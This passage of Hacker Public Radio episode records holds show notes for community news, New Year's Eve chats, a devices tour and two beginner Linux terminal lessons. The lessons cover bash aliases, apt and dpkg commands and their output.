                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nKevin O'Brien on 2021-05-01:\n\"Really liked the show\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 7 comments on 6 of this month's shows:

                                                            \n
                                                            • hpr3328\n(2021-05-05) \"Pandas Part 2\"\nby Enigma.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMr. Young on 2021-05-05:\n\"Another great show\"
                                                              • Comment 2:\nMr. Young on 2021-05-05:\n\"One more speed gain\"

                                                              \n
                                                            • hpr3331\n(2021-05-10) \"Audio for Podcasting: Episode 1 - The Microphone\"\nby Thaj Sara.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2021-05-10:\n\"Great episode. Thanks for the advice.\"

                                                              \n
                                                            • hpr3336\n(2021-05-17) \"HPR 2020 - 2021 New Years Eve Show Episode 1\"\nby Honkeymagoo.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHonkeymagoo on 2021-05-11:\n\"Thanking\"

                                                              \n
                                                            • hpr3337\n(2021-05-18) \"I like that the boat is stuck\"\nby Daniel Persson.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nmpardo on 2021-05-18:\n\"mpardohpr@gmail.com\"

                                                              \n
                                                            • hpr3342\n(2021-05-25) \"HPR 2020 - 2021 New Years Eve Show Episode 2\"\nby Honkeymagoo.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHonkeymagoo on 2021-05-11:\n\"Thanking\"

                                                              \n
                                                            • hpr3346\n(2021-05-31) \"HPR 2020 - 2021 New Years Eve Show Episode 3\"\nby Honkeymagoo.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHonkeymagoo on 2021-05-11:\n\"Thanking\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-May/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Reminder - Stuff you need to know

                                                            \n
                                                              \n
                                                            • HPR will stop as a project if there are not enough shows.
                                                            • \n
                                                            • We do not syndicate shows not produced for HPR.
                                                            • \n
                                                            • You are agreeing to license your show CC-BY-SA.
                                                            • \n
                                                            • You have permission to redistribute your show in its entirety.
                                                            • \n
                                                            • Your show will not be moderated.
                                                            • \n
                                                            • Your show will be signaled as containing explicit content.
                                                            • \n
                                                            • You determine where in the schedule your show will be released.
                                                            • \n
                                                            • We use UTF-8 end to end.
                                                            • \n
                                                            • Your show will be heard by an International Audience.
                                                            • \n
                                                            • We also need emergency shows.
                                                            • \n
                                                            • You will no longer be allowed to edit HPR pages on Wikipedia.
                                                            • \n
                                                            \n

                                                            Reminder - Scheduling Guidelines

                                                            \n
                                                              \n
                                                            1. You must have your audio recording ready to upload before you pick a slot.
                                                            2. \n
                                                            3. Always try and fill any free slots that are available in the upcoming two weeks.
                                                            4. \n
                                                            5. If the queue is filling up then please consider leaving some slots free for new contributors.
                                                            6. \n
                                                            7. If you have a non urgent show then find a empty week and schedule it then.
                                                            8. \n
                                                            9. If you are uploading a series of shows, consider scheduling one every two weeks.
                                                            10. \n
                                                            \n

                                                            Older HPR shows on archive.org

                                                            \n

                                                            This month 96 additional shows in the range 1-870 have been uploaded to the Internet Archive.

                                                            \n

                                                            Since we don't want to upload shows without summaries or tags the old shows and tag and summary projects are now tied together. So we will be all the more welcoming of tag and summary updates submitted as described on the summary page.

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to the following contributor for sending in updates in the past month:
                                                            \nDave Morriss

                                                            \n

                                                            Over the period tags and/or summaries have been added to 7 shows which were without them.

                                                            \n

                                                            There are currently 377 shows which need a summary and/or tags.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3352,"date":"2021-06-08","title":"2020-2021 New Years Eve Show Episode 4","duration":3993,"summary":"the hpr community stops by for a chat","notes":"

                                                            Welcome to the 9th Annual Hacker Public Radio New Years Eve Show

                                                            \n
                                                              \n
                                                            • Text editors

                                                            • \n
                                                            • x11 and wayland

                                                            • \n
                                                            • Linux check for X11/Wayland
                                                              \n

                                                            • \n
                                                            \n
                                                            loginctl show-session $(awk '/tty/ {print $1}' <(loginctl)) -p Type | awk -F= '{print $2}'
                                                            \n\n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"HPR,community,new years eve","version":0,"downloads":0,"valid":1}, {"id":3353,"date":"2021-06-09","title":"My terminal journey, part 01.","duration":2814,"summary":"Becoming terminal friendly.","notes":"

                                                            Book TLCL

                                                            \n

                                                            The Linux Command Line: https://www.linuxcommand.org/tlcl.php

                                                            \n

                                                            My .bashrc alias

                                                            \n
                                                            # ls aliases\nalias la='ls -Alh --group-directories-first'\nalias lr='ls -lh --group-directories-first --recursive'\nalias lar='ls -Alh --group-directories-first --recursive'\n\n# safety first ;)\nalias rmi='rm --interactive --verbose'\nalias mvi='mv --interactive --verbose'\nalias cpi='cp --interactive --verbose'\n\n# cd reverse dir\nalias ..='cd ..'\nalias .2='cd ../..'\nalias .3='cd ../../..'\nalias .4='cd ../../../..'\nalias .5='cd ../../../../..'\n\n# cd dir\nalias cd.d='cd ~/Documents/.dump'\n\n# shutdown | reboot\nalias ssn='sudo shutdown -P now'\nalias sr='sudo reboot'\n\n# Misc\nalias nrpt='echo -e "\\n\\n---\\n\\nNew Report\\n\\n---\\n\\n"'\n
                                                            \n

                                                            My dump script

                                                            \n
                                                            #!/bin/bash\n\ndump=dump$(date +%m-%d-%Y).txt\npdat=$(date +%a_%b_%d_%Y_%T)\n\ntouch $dump;\n\necho -e "$pdat" > $dump; echo -e "\\n\\nThis file is used to store terminal output for later use; now get out!\\n\\n" >> $dump;\n\necho -e "\\n\\nDump file $dump is ready for use (created on $(date +%m-%d-%Y_%T)).\\n\\n"\n
                                                            \n

                                                            My Upgrade script

                                                            \n
                                                            #!/bin/bash\n\ndp=dump$(date +%m-%d-%Y).txt\n\ndate | tee -a ./$dp; echo -e "\\n" | tee -a ./$dp;\n\nsudo apt-get update | tee -a ./$dp; echo -e "\\n" | tee -a ./$dp;\necho -e "System Update Completed." | tee -a ./$dp; echo -e "\\n" | tee -a ./$dp;\n\nsudo apt-get upgrade --yes | tee -a ./$dp; echo -e "\\n" | tee -a ./$dp;\necho -e "System Upgrade Completed." | tee -a ./$dp; echo -e "\\n" | tee -a ./$dp;\n
                                                            \n

                                                            Commands

                                                            \n
                                                              \n
                                                            1. the upgrade example sudo apt-get update | tee -a ~/Documents/.dump/dump05-05-2021.txt; nrpt >> ./dump05-05-2021.txt;

                                                            2. \n
                                                            3. the nmap example (plus the other command I couldn't remember while recording) apt-cache search nmap >> ./dump05-05-2021.txt; nrpt >> ./dump05-05-2021.txt; apt-cache showpkg nmap

                                                            4. \n
                                                            5. the depends example apt-cache depends nmap >> ./dump05-05-2021.txt;

                                                            6. \n
                                                            7. the download example sudo apt-get download dict dictd dict-wn dict-gcide artha

                                                            8. \n
                                                            9. vim sudo apt-get vim; vimtutor

                                                            10. \n
                                                            11. Terminal examples ~= home folder, CTRL + R= command search , CTRL + L= clear terminal, xdg-open= open files with default app.

                                                            12. \n
                                                            13. Searching with grep example ls -lhAr ~ | grep -i bash >> ./dump05-05-2021.txt

                                                            14. \n
                                                            15. the dump05-05-2021.txt file

                                                            16. \n
                                                            \n
                                                            Wed_May_05_2021_12:22:43\n\nThis file is used to store terminal output for later use; now get out!\n\n\nHit:1 https://dl.google.com/linux/chrome/deb stable InRelease\nIgn:2 https://mirror.cs.jmu.edu/pub/linuxmint/packages ulyana InRelease\nGet:3 https://security.ubuntu.com/ubuntu focal-security InRelease [109 kB]\nHit:4 https://mirror.cs.jmu.edu/pub/linuxmint/packages ulyana Release\nHit:5 https://mirror.cogentco.com/pub/linux/ubuntu focal InRelease\nHit:6 https://mirror.cogentco.com/pub/linux/ubuntu focal-updates InRelease\nHit:7 https://archive.canonical.com/ubuntu focal InRelease\nHit:8 https://mirror.cogentco.com/pub/linux/ubuntu focal-backports InRelease\nFetched 109 kB in 1s (158 kB/s)\nReading package lists...\n\n---\n\nNew Report\n\n---\n\nbrutespray - Python bruteforce tool\ndindel - determines indel calls from short-read data\ndoscan - port scanner for discovering services on large networks\nforensics-all - Debian Forensics Environment - essential components (metapackage)\nforensics-all-gui - Debian Forensics Environment - GUI components (metapackage)\nlibfile-map-perl - Perl module providing simple and safe memory mapping\nlibnmap-parser-perl - module to parse nmap scan results with perl\nlibwlocate-dev - Library for doing location lookup based on free openwlanmap.org data\nlibwlocate0 - Library for doing location lookup based on free openwlanmap.org data\nmapsembler2 - bioinformatics targeted assembly software\nmasscan - TCP port scanner\nncat - NMAP netcat reimplementation\nncrack - High-speed network authentication cracking tool\nndiff - The Network Mapper - result compare utility\nnmap - The Network Mapper\nnmap-common - Architecture independent files for nmap\nnmapsi4 - graphical interface to nmap, the network scanner\np0f - Passive OS fingerprinting tool\npads - Passive Asset Detection System\npnscan - Multi threaded port scanner\npsad - Port Scan Attack Detector\npython-libnmap-doc - Python NMAP Library (common documentation)\npython3-libnmap - Python 3 NMAP library\npython3-nmap - Python3 interface to the Nmap port scanner\npython3-scapy - Packet generator/sniffer and network scanner/discovery (Python 3)\nsamblaster - marks duplicates, extracts discordant/split reads\ntophat-recondition - post-processor for TopHat unmapped reads\nxprobe - Remote OS identification\nxscreensaver-gl - GL(Mesa) screen saver modules for screensaver frontends\n\n---\n\nNew Report\n\n---\n\nnmap\n  Depends: nmap-common\n  Depends: libc6\n  Depends: libgcc-s1\n  Depends: liblinear4\n  Depends: liblua5.3-0\n  Depends: libpcap0.8\n  Depends: libpcre3\n  Depends: libssl1.1\n  Depends: libstdc++6\n  Depends: lua-lpeg\n  Depends: zlib1g\n  Suggests: ncat\n  Suggests: ndiff\n  Suggests: <zenmap>\n
                                                            \n

                                                            NATO Phonetic Alphabet

                                                            \n

                                                            The NATO phonetic alphabet is a Spelling Alphabet; a set of words used instead of letters in oral communication (i.e. over the phone or military radio). Each word (\"code word\") stands for its initial letter (alphabetical \"symbol\"). The 26 code words in the NATO phonetic alphabet are assigned to the 26 letters of the English alphabet in alphabetical order as follows: Symbol, Code Word, Morse Code, Phonic.

                                                            \n

                                                            (pronunciation)

                                                            \n
                                                            A, Alfa/Alpha, AL FAH.\nB, Bravo, BRAH VOH.\nC, Charlie, CHAR LEE.\nD, Delta, DELL TAH.\nE, Echo, ECK OH.\nF, Foxtrot, FOKS TROT.\nG, Golf, GOLF.\nH, Hotel, HOH TELL.\nI, India, IN DEE AH.\nJ, Juliett, JEW LEE ETT.\nK, Kilo, KEY LOH.\nL, Lima, LEE MAH.\nM, Mike, MIKE.\nN, November, NO VEMBER.\nO, Oscar, OSS CAH.\nP, Papa, PAH PAH.\nQ, Quebec, KEH BECK.\nR, Romeo, ROW ME OH.\nS, Sierra, SEE AIRRAH.\nT, Tango, TANG OH.\nU, Uniform, YOU NEE FORM.\nV, Victor, VIK TAH.\nW, Whiskey, WISS KEY.\nX, X-ray, ECKS RAY.\nY, Yankee, YANG KEY.\nZ, Zulu, ZOO LOO.\n
                                                            \n

                                                            Hacker Public Radio

                                                            \n

                                                            Correspondent: Some Guy On The Internet. Host ID: 391 E-mail: Lyunpaw@gmail.com

                                                            \n
                                                              \n
                                                            • use hpr391 as the subject for all emails. If not, junk filter.
                                                            • \n
                                                            \n

                                                            license: Creative Commons Attribution-ShareAlike 4.0 International

                                                            \n

                                                            Shows:

                                                            \n
                                                              \n
                                                            1. In GNU/Linux, there is no \"diversity\", we're all just data.

                                                              \n
                                                            2. \n
                                                            3. Embrace Firefox

                                                              \n
                                                            4. \n
                                                            5. HP Laptop with AMD Ryzen 3 Mobile with Radeon Graphics

                                                              \n
                                                            6. \n
                                                            7. Poisoning The Well

                                                              \n
                                                            8. \n
                                                            9. let's talk about Thunderbird

                                                              \n
                                                            10. \n
                                                            \n

                                                            \"Creative
                                                            This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License.

                                                            \n","hostid":391,"series":98,"explicit":0,"license":"CC-BY-SA","tags":"terminal, apt-get, apt-cache, .bashrc","version":0,"downloads":0,"valid":1}, {"id":3354,"date":"2021-06-10","title":"My Devices","duration":1455,"summary":"I walk around my house and talk about any interesting Devices i have","notes":"N/A\n\n\n

                                                            \nAdded by Ken
                                                            \noperat0r and Son walk around the house talking about the devices that he has.\n

                                                            \n
                                                              \n
                                                            1. Android meeting alarms
                                                            2. \n
                                                            3. Firefox
                                                            4. \n
                                                            5. Privacy Badger
                                                            6. \n
                                                            7. UBlock Origin
                                                            8. \n
                                                            9. DNS66
                                                            10. \n
                                                            11. Google Voice
                                                            12. \n
                                                            13. CCTV Camera, to Zone Minder
                                                            14. \n
                                                            15. DarkNet
                                                            16. \n
                                                            17. Kodi
                                                            18. \n
                                                            19. sonarr
                                                            20. \n
                                                            21. radarr
                                                            22. \n
                                                            23. Ombi
                                                            24. \n
                                                            25. Plex
                                                            26. \n
                                                            27. AccuWeather
                                                            28. \n
                                                            29. Blue Team Labs
                                                            30. \n
                                                            31. Admin mode on bluethoot TV
                                                            32. \n
                                                            33. iroso ncf wireless bluetooth headset
                                                            34. \n
                                                            35. Keedox V4.0 Bluetooth Music Receiver Transmitter
                                                            36. \n
                                                            37. Hunter Irrigation
                                                            38. \n
                                                            39. Nissan Infiniti Q40
                                                            40. \n
                                                            41. Nintendo Wii U
                                                            42. \n
                                                            43. Nintendo Switch
                                                            44. \n
                                                            45. Gorilla Glue
                                                            46. \n
                                                            47. Chargemaster 3000
                                                            48. \n
                                                            49. Get splitbox AC
                                                            50. \n
                                                            51. Steel Series HeadSet
                                                            52. \n
                                                            53. MSP430 Nixie Clock kit from RobG on Tindie
                                                            54. \n
                                                            55. Brili Routines - Visual Timer for Kids
                                                            56. \n
                                                            57. Sonic Bomb Alarm Clock
                                                            58. \n
                                                            59. Chromecast
                                                            60. \n
                                                            61. Pulse oximetry
                                                            62. \n
                                                            63. Transcutaneous electrical nerve stimulation (TENS)
                                                            64. \n
                                                            65. Roomba
                                                            66. \n
                                                            67. Zircom Wireless Water Detectors
                                                            68. \n
                                                            ","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"devices","version":0,"downloads":0,"valid":1}, {"id":3355,"date":"2021-06-11","title":"Tiki Hell","duration":761,"summary":"I talk about my thoughts on outdoor torches","notes":"

                                                            Don't buy Tiki anything...

                                                            \n","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"outdoor, tiki","version":0,"downloads":0,"valid":1}, {"id":3356,"date":"2021-06-14","title":"2020-2021 New Years Eve Show Episode 5","duration":16905,"summary":"the hpr community stops by for a chat","notes":"

                                                            Welcome to the 9th Annual Hacker Public Radio New Years Eve Show

                                                            \n
                                                              \n
                                                            • Vacinations

                                                            • \n
                                                            • covid lock downs

                                                            • \n
                                                            • covid covid covid (no suprise)

                                                            • \n
                                                            • virtual confrences

                                                            • \n
                                                            • Virtual life

                                                            • \n
                                                            • programing languages

                                                            • \n
                                                            • the size of texas - Even the Skunks are Large!

                                                            • \n
                                                            • Religion

                                                            • \n
                                                            • Linux

                                                            • \n
                                                            ","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"HPR,community,New Years Eve","version":0,"downloads":0,"valid":1}, {"id":3357,"date":"2021-06-15","title":"My terminal journey, part 02.","duration":1890,"summary":"Becoming terminal friendly.","notes":"

                                                            Discovering the packages; vertical lists.

                                                            \n

                                                            apt package manager

                                                            \n
                                                              \n
                                                            • First Command: sudo apt list --upgradeable

                                                            • \n
                                                            • Command Breakdown:

                                                              \n
                                                                \n
                                                              • sudo is root privileges (to become admin for a single command).
                                                              • \n
                                                              • apt is the Command Name.
                                                              • \n
                                                              • list to display a list of packages satisfying certain criteria.
                                                              • \n
                                                              • --upgradeable the criteria
                                                              • \n
                                                            • \n
                                                            • Command Standard Output: (abridged)

                                                              \n
                                                              Listing...\nalsa-ucm-conf/focal-updates,focal-updates 1.2.2-1ubuntu0.7 all [upgradable from: 1.2.2-1ubuntu0.6]\nalsa-utils/focal-updates 1.2.2-1ubuntu2.1 amd64 [upgradable from: 1.2.2-1ubuntu2]\nbluetooth/focal-updates,focal-updates 5.53-0ubuntu3.1 all [upgradable from: 5.53-0ubuntu3]\ngir1.2-webkit2-4.0/focal-updates,focal-security 2.32.0-0ubuntu0.20.04.1 amd64 [upgradable from: 2.30.6-0ubuntu0.20.04.1]\ngoogle-chrome-stable/stable 90.0.4430.212-1 amd64 [upgradable from: 90.0.4430.93-1]\niio-sensor-proxy/focal-updates 2.8-1ubuntu1 amd64 [upgradable from: 2.8-1]\nqemu-system-x86/focal-updates 1:4.2-3ubuntu6.16 amd64 [upgradable from: 1:4.2-3ubuntu6.15]\nqemu-utils/focal-updates 1:4.2-3ubuntu6.16 amd64 [upgradable from: 1:4.2-3ubuntu6.15]\nsamba-common-bin/focal-updates,focal-security 2:4.11.6+dfsg-0ubuntu1.8 amd64 [upgradable from:     2:4.11.6+dfsg-0ubuntu1.6]\n
                                                            • \n
                                                            \n
                                                            \n

                                                            Discovering the packages; horizontal list.

                                                            \n

                                                            apt-get package manager

                                                            \n
                                                              \n
                                                            • Second Command: sudo apt-get -u upgrade --assume-no

                                                            • \n
                                                            • Command Breakdown:

                                                              \n
                                                                \n
                                                              • sudo is root privileges (to become admin for a single command).
                                                              • \n
                                                              • apt-get is the Command Name.
                                                              • \n
                                                              • -u or --show-upgraded list of packages that are to be upgraded; must be used with upgrade.
                                                              • \n
                                                              • upgrade is used to install the newest versions of all packages currently installed.
                                                              • \n
                                                              • --assume-no Automatically answers \"No\" when the command asks, “Do you want to continue? [Y/n]”. (Do you want to upgrade at this moment? No. You get it).
                                                              • \n
                                                            • \n
                                                            • Note: Linux Mint 20 manpage for apt-get does not include the -u option or description.

                                                              \n
                                                              -u, --show-upgraded\nShow upgraded packages. Print out a list of all packages that are to be upgraded.\n
                                                            • \n
                                                            • Command Standard Output:

                                                              \n
                                                              Reading package lists...\nBuilding dependency tree...\nReading state information...\nCalculating upgrade...\nThe following packages were automatically installed and are no longer required:\n  libllvm10 libllvm10:i386 libnvidia-common-450 libnvidia-compute-455:i386\n  libnvidia-decode-455:i386 libnvidia-encode-455:i386 libnvidia-fbc1-455:i386\n  libnvidia-gl-455:i386 libnvidia-ifr1-455:i386 nvidia-kernel-common-455\n  nvidia-kernel-source-455 nvidia-utils-455 xserver-xorg-video-nvidia-455\nUse 'sudo apt autoremove' to remove them.\nThe following packages have been kept back:\n  libnvidia-common-450 libnvidia-common-460 linux-generic\n  linux-headers-generic linux-image-generic\nThe following packages will be upgraded:\n  alsa-ucm-conf alsa-utils bluetooth bluez bluez-cups bluez-obexd firefox\n  firefox-locale-en flatpak gir1.2-flatpak-1.0 gir1.2-javascriptcoregtk-4.0\n  gir1.2-webkit2-4.0 google-chrome-stable iio-sensor-proxy libasound2\n  libasound2-data libatopology2 libbluetooth3 libexiv2-27 libflatpak0\n  libjavascriptcoregtk-4.0-18 liblightdm-gobject-1-0 libmysqlclient21\n  libnetplan0 libsmbclient libvirt-clients libvirt-daemon\n  libvirt-daemon-driver-qemu libvirt-daemon-driver-storage-rbd\n  libvirt-daemon-system libvirt-daemon-system-systemd libvirt0 libwacom-bin\n  libwacom-common libwacom2 libwbclient0 libwebkit2gtk-4.0-37 libxmlb1 lightdm\n  linux-firmware linux-libc-dev netplan.io openvpn python3-apport\n  python3-problem-report python3-samba python3-yaml qemu-block-extra qemu-kvm\n  qemu-system-common qemu-system-data qemu-system-gui qemu-system-x86\n  qemu-utils samba-common samba-common-bin samba-libs smbclient thermald\n  xul-ext-lightning\n60 upgraded, 0 newly installed, 0 to remove and 5 not upgraded.\nNeed to get 295 MB of archives.\nAfter this operation, 4,023 kB of additional disk space will be used.\nDo you want to continue? [Y/n] N\nAbort.\n
                                                            • \n
                                                            \n
                                                            \n

                                                            Discovering the packages; colums & rows.

                                                            \n

                                                            dpkg-query

                                                            \n
                                                              \n
                                                            • Third Command: dpkg-query -l

                                                            • \n
                                                            • Command Breakdown:

                                                              \n
                                                                \n
                                                              • dpkg-query is the Command Name.
                                                              • \n
                                                              • -l or --list list all installed packages on your system.
                                                              • \n
                                                            • \n
                                                            • Fourth Command: dpkg-query -L add-apt-key

                                                            • \n
                                                            • Command Breakdown:

                                                              \n
                                                                \n
                                                              • dpkg-query is the Command Name.
                                                              • \n
                                                              • -L or --listfiles list specific package, add-apt-key in this example, installed on your system.
                                                              • \n
                                                            • \n
                                                            • Command Standard Output: (abridged)

                                                              \n
                                                                \n
                                                              • dpkg-query -l all installed packages.\n
                                                                Desired=Unknown/Install/Remove/Purge/Hold\n| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend\n|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)\n||/ Name                                              Version                               Architecture Description\n+++-=================================================-=====================================-============-======================================================================================================\nii  accountsservice                                   0.6.55-0ubuntu12~20.04.4              amd64        query and manipulate user account information\nii  acl                                               2.2.53-6                              amd64        access control list - utilities\nii  acpi-support                                      0.143                                 amd64        scripts for handling many ACPI events\nii  acpid                                             1:2.0.32-1ubuntu1                     amd64        Advanced Configuration and Power Interface event daemon\nii  add-apt-key                                       1.0-0.5                               all          Command line tool to add GPG keys to the APT keyring\nii  adduser                                           3.118ubuntu2                          all          add and remove users and groups\nii  adwaita-icon-theme                                3.36.1-2ubuntu0.20.04.2               all          default icon theme of GNOME (small subset)\nii  adwaita-icon-theme-full                           3.36.1-2ubuntu0.20.04.2               all          default icon theme of GNOME\n
                                                              • \n
                                                              • dpkg-query -L add-apt-key single package.\n
                                                                /.\n/usr\n/usr/share\n/usr/share/doc\n/usr/share/doc/add-apt-key\n/usr/share/doc/add-apt-key/README\n/usr/share/doc/add-apt-key/AUTHORS\n/usr/share/doc/add-apt-key/README.Debian\n/usr/share/doc/add-apt-key/copyright\n/usr/share/doc/add-apt-key/changelog.Debian.gz\n/usr/share/man\n/usr/share/man/man8\n/usr/share/man/man8/add-apt-key.8.gz\n/usr/sbin\n/usr/sbin/add-apt-key\n/etc\n/etc/default\n/etc/default/add-apt-key\n
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n

                                                            Marking the packages; hold.

                                                            \n

                                                            apt-mark

                                                            \n
                                                              \n
                                                            • Fifth & Sixth Commands: sudo apt-mark hold google-chrome-stable; sudo apt-mark showhold

                                                            • \n
                                                            • Command Breakdown:

                                                              \n
                                                                \n
                                                              • sudo is root privileges (to become admin for a single command).
                                                              • \n
                                                              • apt-mark is the Command Name.
                                                              • \n
                                                              • hold will prevent the package from being automatically installed, upgraded or removed.
                                                              • \n
                                                              • google-chrome-stable is the package effected by hold.
                                                              • \n
                                                              • ; is the end of a command; command seperation.
                                                              • \n
                                                              • sudo is root privileges (to become admin for a single command).
                                                              • \n
                                                              • apt-mark is the Command Name.
                                                              • \n
                                                              • showhold will print a list of packages effected by hold.
                                                              • \n
                                                            • \n
                                                            • Command Standard Output: (abridged)

                                                              \n
                                                              google-chrome-stable set on hold.\n
                                                            • \n
                                                            \n
                                                            \n

                                                            Marking the packages; unhold.

                                                            \n

                                                            apt-mark

                                                            \n
                                                              \n
                                                            • Seventh Command: sudo apt-mark unhold google-chrome-stable

                                                            • \n
                                                            • Command Breakdown:

                                                              \n
                                                                \n
                                                              • sudo is root privileges (to become admin for a single command).
                                                              • \n
                                                              • apt-mark is the Command Name.
                                                              • \n
                                                              • unhold will remove hold, allowing the package to be automatically installed, upgraded or removed.
                                                              • \n
                                                              • google-chrome-stable is the package once effected by hold; no longer due to unhold.
                                                              • \n
                                                            • \n
                                                            • Note: showhold will now print blank/nothing because packages are no longer effected by hold.

                                                            • \n
                                                            \n
                                                            \n

                                                            Exporting Manpage to text file.

                                                            \n
                                                              \n
                                                            • Bonus Command: it's a big one.
                                                            • \n
                                                            \n
                                                            touch apt-get01.txt; date > ~/Documents/apt-get01.txt; echo -e "\\n" >> ~/Documents/apt-get01.txt; apt-get --version >> ~/Documents/apt-get01.txt; echo -e "\\n\\napt-get --help\\n\\n" >> ~/Documents/apt-get01.txt; apt-get --help >> ~/Documents/apt-get01.txt; echo -e "\\n\\nman apt-get\\n\\n" >> ~/Documents/apt-get01.txt; man apt-get >> ~/Documents/apt-get01.txt; echo -e "\\n\\nCompleted.";\n
                                                            \n
                                                              \n
                                                            • Command Breakdown:\n
                                                                \n
                                                              • touch apt-get01.txt; this command will create the \"apt-get01.txt\" file.

                                                              • \n
                                                              • date > ~/Documents/apt-get01.txt; this command stores the date and time with the \"apt-get01.txt\" file.

                                                              • \n
                                                              • echo -e \"\\n\" >> ~/Documents/apt-get01.txt; this command gives us a blank line or new line within the \"apt-get01.txt\" file.

                                                              • \n
                                                              • apt-get --version >> ~/Documents/apt-get01.txt; this command adds the version of apt-get we have installed to the \"apt-get01.txt\" file.

                                                              • \n
                                                              • echo -e \"\\n\\napt-get --help\\n\\n\" >> ~/Documents/apt-get01.txt; this command adds to new lines or blank lines to the file then, adds the label \"apt-get -- help\" to the \"apt-get01.txt\" file.

                                                              • \n
                                                              • apt-get --help >> ~/Documents/apt-get01.txt; this command adds the standard output of apt-get --help to the \"apt-get01.txt\" file.

                                                              • \n
                                                              • echo -e \"\\n\\nman apt-get\\n\\n\" >> ~/Documents/apt-get01.txt; intentionally left blank.

                                                              • \n
                                                              • man apt-get >> ~/Documents/apt-get01.txt; intentionally left blank.

                                                              • \n
                                                              • echo -e \"\\n\\nCompleted.\"; intentionally left blank.

                                                              • \n
                                                            • \n
                                                            \n

                                                            NATO Phonetic Alphabet

                                                            \n

                                                            The NATO phonetic alphabet is a Spelling Alphabet; a set of words used instead of letters in oral communication (i.e. over the phone or military radio). Each word (\"code word\") stands for its initial letter (alphabetical \"symbol\"). The 26 code words in the NATO phonetic alphabet are assigned to the 26 letters of the English alphabet in alphabetical order as follows: Symbol, Code Word, Morse Code, Phonic.

                                                            \n

                                                            (pronunciation)

                                                            \n
                                                            A, Alfa/Alpha, AL FAH.\nB, Bravo, BRAH VOH.\nC, Charlie, CHAR LEE.\nD, Delta, DELL TAH.\nE, Echo, ECK OH.\nF, Foxtrot, FOKS TROT.\nG, Golf, GOLF.\nH, Hotel, HOH TELL.\nI, India, IN DEE AH.\nJ, Juliett, JEW LEE ETT.\nK, Kilo, KEY LOH.\nL, Lima, LEE MAH.\nM, Mike, MIKE.\nN, November, NO VEMBER.\nO, Oscar, OSS CAH.\nP, Papa, PAH PAH.\nQ, Quebec, KEH BECK.\nR, Romeo, ROW ME OH.\nS, Sierra, SEE AIRRAH.\nT, Tango, TANG OH.\nU, Uniform, YOU NEE FORM.\nV, Victor, VIK TAH.\nW, Whiskey, WISS KEY.\nX, X-ray, ECKS RAY.\nY, Yankee, YANG KEY.\nZ, Zulu, ZOO LOO.\n
                                                            \n

                                                            Hacker Public Radio

                                                            \n

                                                            Correspondent: Some Guy On The Internet. Host ID: 391 E-mail: Lyunpaw@gmail.com

                                                            \n
                                                              \n
                                                            • use hpr391 as the subject for all emails. If not, junk filter.
                                                            • \n
                                                            \n

                                                            license: Creative Commons Attribution-ShareAlike 4.0 International

                                                            \n

                                                            Shows:

                                                            \n
                                                              \n
                                                            1. In GNU/Linux, there is no \"diversity\", we're all just data.

                                                              \n
                                                            2. \n
                                                            3. Embrace Firefox

                                                              \n
                                                            4. \n
                                                            5. HP Laptop with AMD Ryzen 3 Mobile with Radeon Graphics

                                                              \n
                                                            6. \n
                                                            7. Poisoning The Well

                                                              \n
                                                            8. \n
                                                            9. let's talk about Thunderbird

                                                              \n
                                                            10. \n
                                                            \n

                                                            \"Creative
                                                            This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License.

                                                            \n","hostid":391,"series":98,"explicit":0,"license":"CC-BY-SA","tags":"terminal, apt-get, apt-cache, apt-mark, dpkg","version":0,"downloads":0,"valid":1}, {"id":3358,"date":"2021-06-16","title":"BlastEm! A wicked awesome Sega Genesis/Megadrive emulator","duration":1320,"summary":"This is an interview with the author of BlastEm, a Sega Genesis/Megadrive emulator","notes":"

                                                            In this Hacker Public Radio we talk to Mike about his emulator, BlastEm.

                                                            \n

                                                            This is the official BlastEm url: https://www.retrodev.com/blastem/

                                                            \n","hostid":115,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"genesis megadrive emulation","version":0,"downloads":0,"valid":1}, {"id":3359,"date":"2021-06-17","title":"Linux Inlaws S01E32: Politicians and artificial intelligence part 3","duration":2830,"summary":"Part 3 of the miniseries on Deep Learning, politicians and other approaches to intelligence (or not)","notes":"

                                                            In part three of the 27.64 episodes long mini-series on artificial intelligences, machine and deep learning\nand other hipster topics around machines trying to imitate humans (marketing made us do these :-), our\ntwo heroes discuss domain-specific frameworks on top of (more generic) infrastructure like TensorFlow or PyTorch.\nAs usual, all will be revealed and no details be spared (apart from a very few) including how to\ntell animals apart from humans (a tricky feat as any journalist can tell you who's ever faced a\nstampeding horde of angry politicians!).

